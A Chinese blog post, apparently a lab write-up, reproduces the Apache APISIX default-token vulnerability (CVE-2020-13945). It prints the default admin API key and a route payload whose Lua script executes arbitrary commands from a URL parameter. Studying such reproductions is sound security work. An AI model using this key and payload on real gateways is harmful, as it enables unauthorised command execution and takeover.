Apache apisix默认密钥漏洞（CVE-2020-13945）

Passer798

已于 2025-02-15 11:39:16 修改

阅读量2.3k

点赞数

CC 4.0 BY-SA版权

分类专栏：漏洞复现文章标签： apache 服务器网络

于 2023-03-11 11:29:07 首次发布

本文链接：https://blog.youkuaiyun.com/guo15890025019/article/details/129461063

漏洞复现专栏收录该内容

20 篇文章

订阅专栏

文章介绍了ApacheAPISIX的一个安全漏洞，当开启AdminAPI且未配置访问策略时，攻击者可利用默认Token控制API网关。影响版本包括1.2至1.5。文中详细阐述了漏洞复现步骤，包括通过POST请求和特定payload执行任意命令，并演示了如何利用此漏洞建立反向连接。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

漏洞描述

Apache APISIX 是一个动态、实时、高性能的 API 网关，基于 Nginx 网络库和 etcd 实现，提供负载均衡、动态上游、灰度发布、服务熔断、身份认证、可观测性等丰富的流量管理功能。当使用者开启了Admin API，没有配置相应的IP访问策略，且没有修改配置文件Token的情况下，则攻击者利用Apache APISIX的默认Token即可访问Apache APISIX，从而控制APISIX网关。

影响版本

Apache APISIX 1.2

Apache APISIX 1.3

Apache APISIX 1.4

Apache APISIX 1.5

漏洞复现

该漏洞环境搭建，依然通过vulhub，不再赘述。

在这里插入图片描述
访问一下http://192.168.10.171:9080/apisix/admin/routes，说明开启了/apisix/admin/routes

在这里插入图片描述
抓取该报文，做如下修改

1、请求方法改为POST

2、加上参数X-API-KEY: edd1c9f034335f136f87ad84b625c8f1

3、加上payload

{
    "uri": "/attack",
"script": "local _M = {} \n function _M.access(conf, ctx) \n local os = require('os')\n local args = assert(ngx.req.get_uri_args()) \n local f = assert(io.popen(args.cmd, 'r'))\n local s = assert(f:read('*a'))\n ngx.say(s)\n f:close()  \n end \nreturn _M",
    "upstream": {
        "type": "roundrobin",
        "nodes": {
            "example.com:80": 1
        }
    }
}